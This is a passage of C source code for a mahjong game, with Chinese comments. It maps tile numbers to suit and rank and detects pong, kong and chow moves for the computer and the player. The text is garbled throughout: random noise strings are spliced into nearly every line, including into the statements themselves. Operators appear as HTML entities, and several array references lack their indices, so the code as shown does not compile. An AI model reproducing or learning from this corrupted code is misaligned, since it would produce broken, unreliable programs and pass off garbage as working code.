else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)/ e! I2 x  S( z7 B% R" m' [
logoo=2;
8 R- f7 ^4 Z& m0 Y& k1 celse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
* e! g1 P. l" t' @logoo=3;# Q; U# _$ X5 h% M) `3 `, p; Z
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
+ K9 o8 q; q8 [3 l0 A8 xlogoo=4;) q+ G* _0 b1 f2 i, L2 |1 o
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
3 m8 `# d5 m- p  Glogoo=5;
1 I+ A* {; s  j% x6 D; a: d* Oelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)% m  q' ~* G8 v+ ^# J+ G+ }0 x% V; P
logoo=6;7 m3 f- r) m. D, d* {8 u( Q
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)+ E! c* o* U1 W: M% g
logoo=7;/ n- `! x" }5 `/ ?1 X; |
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
( @& P  q( e) ?' w% J: ]9 B% C$ A; Mlogoo=8;
1 c" f; H$ k* ^( p5 {else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)! s. |9 Q2 i3 Q" Z- C
logoo=9;3 U/ A! v& w# m4 e) A/ y
}
+ C0 l. i" d6 {- i( ?$ l4 Felse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
1 U; ]; v" ]7 S8 \) c: x0 Q! z" u{
# W6 r. y0 w4 N3 T9 Glogo=3;
. Y7 n' l. G+ ]3 u/ K) D4 ?6 jif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
( \2 ~' U8 j% ]* L# V3 d% llogoo=1;% P: Y3 {0 z! w2 j- ]9 Z
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)1 l) {) G" q1 ]( U: E1 h
logoo=2;
4 L2 F, Q# `$ @- ]" h; eelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)7 y! c- s1 P; x' q) c
logoo=3;
, D1 O5 e+ n1 ?) A% f; eelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84). j$ K/ T, G9 q9 ^
logoo=4;
+ ^. v& z9 a1 G' R: U  ielse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
. D$ `% y0 u* _: X+ klogoo=5;  [% U6 O0 M( ]
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)% S- ~+ N* n0 p7 O
logoo=6;
( i) Z# |' c6 H9 P9 Z. Eelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
1 [3 y& g0 Q: X' |logoo=7;
6 I0 S) w( m  |5 l% R# Welse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)) H6 |& [$ m7 A. T' M  X
logoo=8;/ ]: S* k4 ^$ s5 _" r* l
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
8 x4 A! v4 v2 O- K8 o+ klogoo=9;/ k/ o; o0 B5 t& U( x; X) T& X9 U
}" k9 y! N1 }: P0 o/ I
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108); _" \) O# B" Y# ~
{
3 [2 L) M2 A. _/ P6 w% Wlogo=4;
9 s3 x% O0 Q) U1 jif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)8 [  e- o5 p  G4 U" K
logoo=1;
- U0 }2 X4 }* |& H5 T2 Helse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
1 c" U$ S* ]; R0 y; W; v2 ~4 ^' @logoo=2;  F' C8 `. z& q1 X3 J( q
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
0 ~0 b1 e$ B, O! |4 d7 Vlogoo=3;, r) _) e+ O, O% S
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
0 L; E+ d/ J& c) Rlogoo=4;
' [( @" d1 A1 _; W& k2 l/ Telse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)% E/ S* r" z; g4 x$ O
logoo=5;
- h5 G* d3 [) q' Oelse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)7 w/ C0 Y2 [* D
logoo=6;
6 R  g. c7 `! Y. ]4 I8 M3 `$ Jelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
& M0 I3 c0 b- [9 T' C2 {logoo=7;
7 ]" Z; Z* h2 q. F- B1 E! Q}3 e3 M5 h# {/ g2 G. I
while(b&lt;=computer.m)
+ ?0 D' y% Y  y! K. y{
) M: D( Z/ T( P* e' ~, U$ y: i" wif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/$ j" ]  k! M+ t; c! I
{
& g  ?# o$ r) Q. Ilg=1;
; G: a& k! ?4 R* S- b7 {computer.pp.d[0]=1;
3 {2 ]; V2 T- Jif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
! T# U1 ?, }4 ]+ _{' v% u; `/ h# N2 _. V
lgg=1;
' E. O' K; ~5 W4 y( O% o2 o# W( ^* ncomputer.pp.d[1]=1;
! ]% Z$ _! k; J" m2 z2 N  g: U}
) }1 W8 k) i( x" c- M/ pelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
( J$ Z* s/ i5 l  u" ?4 M: @{
' W* f* m6 C1 H4 R& @- nlgg=2;
3 u, M; x" A# d8 i, q  G$ O& Ocomputer.pp.d[1]=2;
7 b+ F  @8 E$ f# k2 [}+ J) L( `/ z* _5 ]  ~# ~
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
+ b" s0 ~) D/ n% }7 i. R- f2 E{$ Y0 B: G( a* Z, a7 Y3 Y
lgg=3;% N3 P% d9 W: }- Z0 U, O1 [  @
computer.pp.d[1]=3;
: p0 ]# ?+ T6 a3 j3 B; G}, D8 }! R( J8 W# ~# j
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)( p1 L% V% q* e, z% V
{
( `0 g, E) S% _+ `lgg=4;
$ b6 |; F0 b1 dcomputer.pp.d[1]=4;
5 U- }, v% [# z, t}- i3 [+ d+ G: v
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)* u: C1 a8 R9 f$ [
{
) X$ o! R- o3 X6 _) Flgg=5;5 F; A- `' A0 Y$ F) w( k- _! J
computer.pp.d[1]=5;6 u' I0 B  _, C+ D* W2 N# N3 W
}+ r- ]8 [, [# f8 K% }" E- [8 w
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)" Q  Q3 n2 f/ t! Q$ ?+ Z
{$ j. b5 l" h, {2 g7 V# Q$ L. N- Z
lgg=6;2 J# `( U  l5 L: ^8 L; |
computer.pp.d[1]=6;
& k: K2 U2 V$ b: L}
# a' t" S" b5 o+ |0 V0 Helse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
! L5 _. r9 t, G5 n{
0 Y, j$ I8 }1 B8 Y- \6 E4 @lgg=7;; \1 j# O+ {; P) _1 n
computer.pp.d[1]=7;
# t5 }8 S5 d. f" a1 G}( T. I: a4 w! y; O
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
2 }1 V# |+ k" Y" R{% W& e) X5 h* t) }2 J( y: [
lgg=8;  _$ [9 q/ U7 T( H
computer.pp.d[1]=8;
* X2 t6 @: Z% e( ?) X}" A7 y! Y& }  z5 N/ ~
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)1 ^" n: ?+ {2 }% o3 K6 D
{( n5 K7 l1 K' a' [# T* W
lgg=9;
: d' Z2 i; D# K5 Ccomputer.pp.d[1]=9;) b3 J% }9 A8 v  U+ u
}4 X! ]' j9 u0 m% e) @
}3 @$ [: }- L9 _
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
; A* o( @- }: p( i- i4 F  R{) q4 _0 B4 ?, m& z  H
lg=2;
/ A; V, u' u8 B6 X+ m8 }computer.pp.d[0]=2;
3 i$ z# r* u' z" F9 _if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)* x* {  ~, c+ z2 c. Y5 e, v+ L
{
) M- N, d" V7 |6 c/ W7 @lgg=1;2 A3 d# m. t0 R  J
computer.pp.d[1]=1;% o+ P5 N' B( e; N- V5 |
}+ v$ w* W* B9 I" }9 {7 _3 Q
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)' n$ M: P9 o! o$ k! [. r+ _/ l# u
{
, Q7 R* D5 a1 \' ~lgg=2;' J+ ~- _; |  A% {4 J
computer.pp.d[1]=2;* k) Y+ z! n5 \/ o! r
}
; w- D. N! Q( J! b- h; `else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
9 r2 t) o7 \; s% Y0 M# ~: j: |{6 g; e& h+ Z3 f) ]0 B0 q
lgg=3;
. z& ?$ ^  E, \* L, K* z! h, |- zcomputer.pp.d[1]=3;4 l4 V- c( C3 o& r" v& n  ~
}1 t# d" ]$ R3 }% U
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
4 j' R; l% z% E- P+ F{
: ]$ s' ]5 Y$ }- Z5 Q6 ?/ N/ }3 w2 R4 k. Tlgg=4;- _) A' M4 X3 K5 o
computer.pp.d[1]=4;2 T! s; M, M  e4 d
}: e, [: \4 u4 L
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
+ x( ^1 P$ j" d6 O3 R  ?{
4 J* f. m. a/ ^4 N& l$ y2 W) ~  Algg=5;
& K9 U% b7 X* P7 V1 k# bcomputer.pp.d[1]=5;, A- _0 z- n  {
}6 a0 |0 w( ~$ y0 s) s
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
( q8 S6 q' z- c% D{
, B" L% s6 c7 _lgg=6;
$ G2 W0 z* O; |8 hcomputer.pp.d[1]=6;' }. I# z& j  I6 `
}4 _& p7 i9 y/ H; \, L
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
: ^  L1 O6 J  [9 v8 t6 ]% c* `{
% [+ B+ F4 d! [6 ^3 {: i9 M  H$ rlgg=7;
0 u# O& n  v+ f& ?% S% q3 Lcomputer.pp.d[1]=7;
8 k2 [# Y0 G1 t7 `( l  @}" u; W3 I6 x# }4 y. f
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
9 \/ A) M2 b) l: }3 y1 C6 \/ }{, ?& V  m" [, M6 [3 O9 c
lgg=8;0 v5 d5 }9 h# U& m
computer.pp.d[1]=8;
* a: O2 E6 T( i% h$ `}
4 Z9 V# W. j2 |! f7 }6 Pelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
7 T" ~9 Y# E+ y{  t8 s& ^9 P4 A; u5 h( c  Z" E0 l
lgg=9;/ D+ O% d7 M7 [! E6 o% m/ a
computer.pp.d[1]=9;
2 Q7 O# D5 P' m: }6 M) ~; ~}
1 ~+ D9 D# Y, f4 x}1 K% f& V+ d+ A
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)/ r# o+ _$ D$ g+ |! ]
{8 W! i! A! O6 l* @
lg=3;6 y/ t* E' x3 f$ j# g
computer.pp.d[0]=3;* f8 P4 ?% c$ N6 G  s7 g
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72): g6 i2 h. ?* L4 n# K8 U
{
, I) k4 O9 D$ F6 _0 h/ O% R% v0 tlgg=1;
4 k# I; k$ S& J+ F7 |computer.pp.d[1]=1;
( K/ h6 L  }& i}
! P7 a5 \: ^9 oelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
; K- V2 Q6 W: y/ x6 d; T1 t8 S{9 ^& K: j5 _3 c4 f" v/ q4 J
lgg=2;
) [/ _, K4 ?2 Hcomputer.pp.d[1]=2;5 i; i; @/ r; h3 J/ U0 A
}$ t* `6 c$ G3 n0 v  l' L
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)3 F; K7 e0 _  f- w
{
! Q6 v" G; {* N! nlgg=3;
# l' x( U3 e$ i9 n7 r9 K) ?computer.pp.d[1]=3;
' |! m+ M4 x' Y) Z}
1 K& F) t+ s0 e. Q  G& b0 w. Zelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
2 B8 P8 F: y! R; ~4 p" Z, |0 B{8 V2 b$ J1 ~) t* C; L. L& E
lgg=4;
5 d( r5 V, c5 c" |+ zcomputer.pp.d[1]=4;
( q- i, j% \2 V1 V! T}
& q! h% f6 D2 r% y+ j% B. a+ Delse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
( I0 b" y' W, k) w* M{
1 D( Y% g7 y9 a3 a3 zlgg=5;
7 x( Q: U( M; E0 b" U, R0 Tcomputer.pp.d[1]=5;
( Z/ a6 F# ?) b5 C+ Z}
0 F# G* c/ m: Z; T, C3 c7 f1 Helse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)2 h2 r( Y. B6 t2 [9 A
{
7 l, u: v- o" o1 e) B; Y; zlgg=6;$ n. K) m! R4 c/ w
computer.pp.d[1]=6;, Y) @$ f* O" V& E( S- c
}( j( c- M# O& v. E' i; M
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)$ [6 W- J2 l$ w7 l( C0 i7 s3 |
{. m& A) q2 y9 j9 _: Y, c/ x
lgg=7;
5 F7 w7 n0 j( a9 I! j" `, Ncomputer.pp.d[1]=7;
! L( H- `+ m1 P0 p4 [+ N0 _}: e6 _5 b* K+ F1 n' J5 H2 {
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
0 i* z7 K1 |3 \9 ~7 A- K{9 \! C. P! c% T1 B% ]' c  ~, Z  y
lgg=8;
& ^: g% m$ ?( X  G/ V# C. C1 ^computer.pp.d[1]=8;
) H$ n- ]7 U1 m' c}
8 |4 ]6 B$ u5 L  ]( Aelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)& N, y1 V/ d9 y) W# H' V5 z5 y! R
{( a% A( _; _7 I1 r; w' R0 R
lgg=9;* w0 ~0 p; _; Y+ |
computer.pp.d[1]=9;
1 [0 c+ Y. H, f) ?}1 F! g# C+ P+ c" P9 c
}0 r+ \$ n$ N2 n0 Q6 d
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)2 i7 H! J0 h+ i: ]" K# X" ^7 I- v6 n3 {
{
$ w  }! h$ }, W7 S* Xlg=4;. ?% F$ K6 W& _8 m0 l5 l
computer.pp.d[0]=4;  q7 e  \6 W  A9 k
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)( W  s# o7 m+ v
{& j: \+ t. u% a  L- s; b2 j
lgg=1;
! A$ [2 X! C3 e0 L, Scomputer.pp.d[1]=1;. U7 r* V# @# Y* O: d
}" B! [% w% T; `+ h5 s$ e
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)& D* z: @+ D. O2 i
{1 D* z2 S7 k* g1 p) o# t. e
lgg=2;5 C3 g9 L% U$ m4 v2 |$ v( G
computer.pp.d[1]=2;3 E) C" ?4 H1 F, m3 j% {) }; k
}6 F  P8 {& K' s$ t; |4 z
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)+ G& W7 H& \" i; o1 k( K. y
{
. C8 d, _* W5 m8 k( ?: k# x+ Jlgg=3;, x- \0 o4 P% d, L0 @  C
computer.pp.d[1]=3;! I+ k8 n3 u5 g& z# v
}
, Y7 D# B2 z' e" d5 {  oelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
, ~  ?% X9 y: e/ f; N{
. O! Q- n& p3 E9 hlgg=4;
  q2 p* X8 b8 ycomputer.pp.d[1]=4;; [0 W2 r0 }$ R
}
* x; Y! ~. |7 {0 l7 ?' `7 u: ?else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)" b) a7 V' J1 T. C
{
  `7 q& Y2 f. hlgg=5;9 K4 W3 j0 n, a! W" d* j
computer.pp.d[1]=5;5 k$ G9 B6 t6 [  z) R  ~
}
3 {5 a" u" Z% |+ B2 y+ \1 Qelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
, }$ _" N$ k2 a9 D7 q) \, R{
' d! M% E( _$ B6 j% @lgg=6;3 @' q) h) q. I* y
computer.pp.d[1]=6;) X# m: ~; @9 J" g
}. J' H+ b0 i! L; L' f: R4 L+ u
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132): A2 @* I2 z( R
{& |) R) a) I/ @" e9 Y% x
lgg=7;
) j4 t7 W7 ~0 Dcomputer.pp.d[1]=7;4 C% P8 {+ k- l1 a5 V) r
}6 |% c6 o" D! |) ]1 \4 X
}
, q7 X# j+ D$ c& `- Q1 z
+ L$ X; D: K  N8 oif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/; q( G. ?# l  p' V5 Y* }
if(logoo==lgg)
- \" P" _& U( `, R- I. gpg++;  c4 s/ q+ ^, B
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
2 q/ X9 ^, R% l* uch.lgg=lgg;$ \/ M4 s8 h+ o6 ^$ J% O3 A+ Z! B
lg=0;+ v  q( G/ R5 P2 h0 n$ d+ E( h
lgg=0;
3 S5 }: D' Z, l& j) ~& s" Ab++;
  }( Q' H3 t: N  x}/ W0 Q; }# K1 {
if(pg==2) /*乓*/
% j3 g+ ~# }  X- _{
6 k" g, C3 A) D2 k5 S: N5 S8 i
sing=1;( V% f; L# t' y2 d) ]
b=computer.m;1 l) N5 W1 u) J
while(b!=-1)- @* L% Q. a3 S2 g
{
' A3 s1 W: Q. ^; j3 Vif(strcmp(me.pp[c].k,computer.pp.k)==0)
, H6 N  k1 b) x2 I+ Q, Z* j. Mcomputer.pp.p=1;
$ m/ c& h: P1 I: \: a: Z- G2 A" G# {7 g4 b
b--;
3 h) S6 X+ S( k. |}
0 X+ }8 B% Z( K}
3 h- K. \% }* x6 W& cif(pg==3) /*杠*/( e) ~+ }7 ~) J; g  `
{2 p1 k0 F) ~8 Y4 i) b6 _
5 G9 X% Y  P2 O, B, R! Z
sing=2;9 }2 v0 U# s3 Z3 j. o" n
b=computer.m;
' g7 y: |/ |" l; v/ `while(b!=-1)
  D( ^+ [4 w+ A* B5 T# I' y! |0 h{
, N$ M6 h, F  y7 _if(strcmp(me.pp[c].k,computer.pp.k)==0)/ r( _" @0 x  @' p1 O+ K) H- D8 L
computer.pp.g=1;
9 W' l& L4 H3 J/ T3 |" u! Yb--;
1 H4 ^& r/ I& X& f' J) a}$ j7 W6 C8 w9 w$ o
}+ O5 K+ d! H3 U+ U; s
f=0;& e0 r8 ]( r1 `" i$ J3 z7 O
while(f&lt;computer.m) /*吃的判断*/
9 A2 ~" R4 V9 u9 @# w4 \' A{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
2 x! k' E$ P" h0 {{
3 ?/ s! w3 x: p( v: l% G. S: Gif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/4 j" d, T/ S2 z* p1 [% X+ v9 i
if(ch[f].lgg-logoo==1)
' C2 G/ k6 O4 D  t5 [{
6 J: A) z/ {2 E- f7 D! h. |3 X+ I8 Ygp++;
1 B: _# q, T, l! a$ ~; pcomputer.pp[f].c=1;
, c) a' o/ W% ?/ r- Scomputer.pp[f+1].c=1;" A" l4 \/ L  J/ V6 U
}
8 c: G2 ^) h6 m. `6 yif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/& {. r0 D. \! P$ Z/ U8 S; b/ v
if(ch[f+1].lgg-logoo==-1)
' C$ c! x, m# T. _- K5 J{5 P3 N. J6 F0 f: G8 H) s$ T
gp++;
) E8 e) [! s, s/ R' Q* y3 w: g4 Hcomputer.pp[f].c=1;6 s  D7 R4 d7 l! ^+ E. F# O
computer.pp[f+1].c=1;
( y+ v. K7 s  U5 {8 V) b9 V" C, u}
5 Q( _/ e& f1 @if(ch[f].lgg-logoo==-1) /*中吃*// D% `4 K5 u& [+ A, ]9 B. Y
if(ch[f+1].lgg-logoo==1)
4 w( r: w7 s/ ~{
. B% p4 `& B( w* X$ Y4 _gp++;
4 I4 ~2 K0 a# K* h5 Z) A9 ~/ fcomputer.pp[f].c=1;
% L4 j7 g! Q  N1 p; c# \# O& p6 Ycomputer.pp[f+1].c=1;
$ J2 k5 w) E3 i}
- ?  E7 ~! K7 m' `* m  `: z, eif(gp==1)
; ]. C& r! v2 Z& v4 s3 ~0 Ebreak;8 r5 u, }2 r) c' b- Z. ~
}( @5 n+ N. ~( A  q
f++;2 e6 i) i/ E3 e7 Q: W* m" q* g! w5 ~
}0 K! n6 k* H2 A6 P+ {' q
if(gp==1)+ d& ^# D# B/ i; V2 ]/ p& G
{sing=7;
, q& d. T" L* \* U5 E8 [, a) ^0 x
5 ]5 j2 Q7 Z; g* B) a1 G/ H}* N- @. Q! m+ }+ F: @0 u) l
pg=0;
! R5 N8 ^2 f0 ?% Agp=0;
  p) q8 K6 P% u9 d5 Qb=0;
3 T' C3 ^7 P/ d" P}1 G1 u/ n' t/ X. M' y# G$ a
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
/ j' u8 Q! u7 ~$ v! H" g{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;& p! ^+ L$ `, ]9 Y1 H
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
- r/ S  J- R7 s; D" g{
7 g+ L/ {: U! i$ \logo=1;- N' h8 `# V5 F( W7 i% H
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)( c: g+ _4 I# i7 ^# `
logoo=1;
, t( t2 t( I; helse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)* F4 Q% }- }+ o5 ~; }, U0 G) m
logoo=2;
, v& n$ I/ b$ [) g6 Eelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)9 t+ f2 @, y/ h& a
logoo=3;; f) C5 v2 B$ P, X  f
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
6 y4 k* X* \1 s, X9 s  elogoo=4;; `9 ?0 e2 q/ ?# q
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
: q+ C  U( ^  y0 j/ rlogoo=5;& x3 ]! |  ?3 [5 J
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
; v, U3 H- g* Z$ v* O  n  Qlogoo=6;
. T8 S- L% B9 X8 Yelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
- M; c3 k8 E6 \3 Z" s8 }' ^logoo=7;
, T" \. G' ^5 M/ melse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
, j1 k6 ]& k  ^1 H$ d+ plogoo=8;
, v3 S  X& I- W) `else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
! L; ~9 B& L# v& k$ q! E1 ]  {5 jlogoo=9;
3 Q) ]+ n. W, a6 A}
3 E6 @# @" B7 I8 q+ Q% C, M$ }9 Yelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
& w5 s  N# _9 w. M8 Z- x{
1 x$ v1 W; j5 ^logo=2;
( \  o: P& H8 c# p; zif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
, Q0 o) L8 D- r4 e+ ^" Alogoo=1;
; j( @) \! _3 N, V8 q: j  S* ~3 ]6 \else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)3 y: a4 K- T$ h
logoo=2;9 m/ z- q4 C+ _  K/ I: \8 S% t
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
( o8 }$ s: F. ?, F* \1 o* nlogoo=3;! ]7 B! }. V# P" L, \% Y. M4 p' A
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
/ J) {/ k! P. a9 x" Wlogoo=4;" d5 ?" F0 G" \+ _
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
5 ?9 j0 D' p6 R( s5 z8 nlogoo=5;
: T6 E) ?( _0 P, K9 `5 Selse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56), l9 l. W4 O! Z" P4 I
logoo=6;# k" ~: C: j5 a1 q/ r$ \
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
; l  V* X( Y! F2 [logoo=7;
7 U" f/ D0 I3 a$ J+ O7 J- _else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)* M1 o% ~" a- I+ _- `- k5 |
logoo=8;& t! H6 f' t* W
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)- Q8 ~0 k4 A; {  y( r: S0 `' ~
logoo=9;+ R2 c8 Z$ V* F) v$ d9 _5 i
}8 H4 S, ]1 y9 d- |+ Y
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)  `5 e% ]* ?  I' z' \
{
6 i' O, O! ~. `( N0 H; x/ J7 Flogo=3;; L6 t2 K# x2 m4 q6 k
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72); w7 Y9 u8 n) m2 Y* o
logoo=1;5 _" Z* {$ f4 f& c6 \( m
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
1 w6 {  A0 v; w$ F3 O2 }logoo=2;$ h; A! }  m% F! N9 g
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)0 ]( B0 F- H. I& `9 t8 ^+ J. S
logoo=3;; F4 r# m5 O' u  ~* @. F
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
- f" S# K" Z" s  J- d% Ologoo=4;8 n# y2 U+ [$ w/ E. n- N& h
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)1 y/ T1 O! m: X. Q3 U1 z
logoo=5;
6 e* a0 C8 {; T6 j4 H! t- pelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92), \  f' ]$ w0 @, X( k" n* h3 I
logoo=6;
  Q0 |/ R+ v+ w# H" Oelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96); X4 H4 v, x7 ?7 W
logoo=7;( M  ^' y" S% z3 _! Z& m
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)& E# Q2 u# V) z! K3 y
logoo=8;. Y6 S6 V$ [3 b
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
' u, g; L4 a6 S- j' q5 F; Ulogoo=9;# y7 V: D6 ^- G" `
}* D- N! ^8 W4 f% D* ]
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)* w) ?" ]2 r+ P
{
8 P" D" \# [" l, S$ ~- x# y; Elogo=4;* }# J! ^+ }6 K, B; ?% f1 m
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)# V* @  i) r$ E! O# V% k8 K
logoo=1;: N$ k0 @* S6 ^/ p4 W, q
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)3 j1 W" q9 P- L+ [0 ]) W; c" k
logoo=2;
0 d% X0 F/ ~! h3 Y7 r, \2 {else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
8 E  n: i# Z" M( w: \logoo=3;
/ |' E. M; v  A7 o+ ?else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)1 K+ r* ~: K$ ?) ^8 L/ E
logoo=4;$ Y% R7 S+ ]& r0 _' _) ^
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
9 R. T& O- ]( v$ ^, `logoo=5;! W, s% r$ H/ T/ [" h! ^- p
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)* s6 _" [7 d' v! e
logoo=6;
7 N* s- T& V# g' t- Selse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132): y4 V: n' m" V+ M/ e4 f
logoo=7;
7 g# Q; L' T9 G7 Q! N2 z+ ^0 b( G}
* D6 I. |, @' F! k2 Xwhile(b&lt;=me.m)2 n% x3 o% ^+ y1 ^  W
{5 l) C  ?. V* h0 v! d
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/) C# d5 f0 S7 L. ~& @& u5 D
{
' P5 X  |; E3 v' ~3 z8 i# e" b; Klg=1;  i! L9 \+ x6 }( n3 M
me.pp.d[0]=1;' L! v/ H& G  _- ]# U  ]
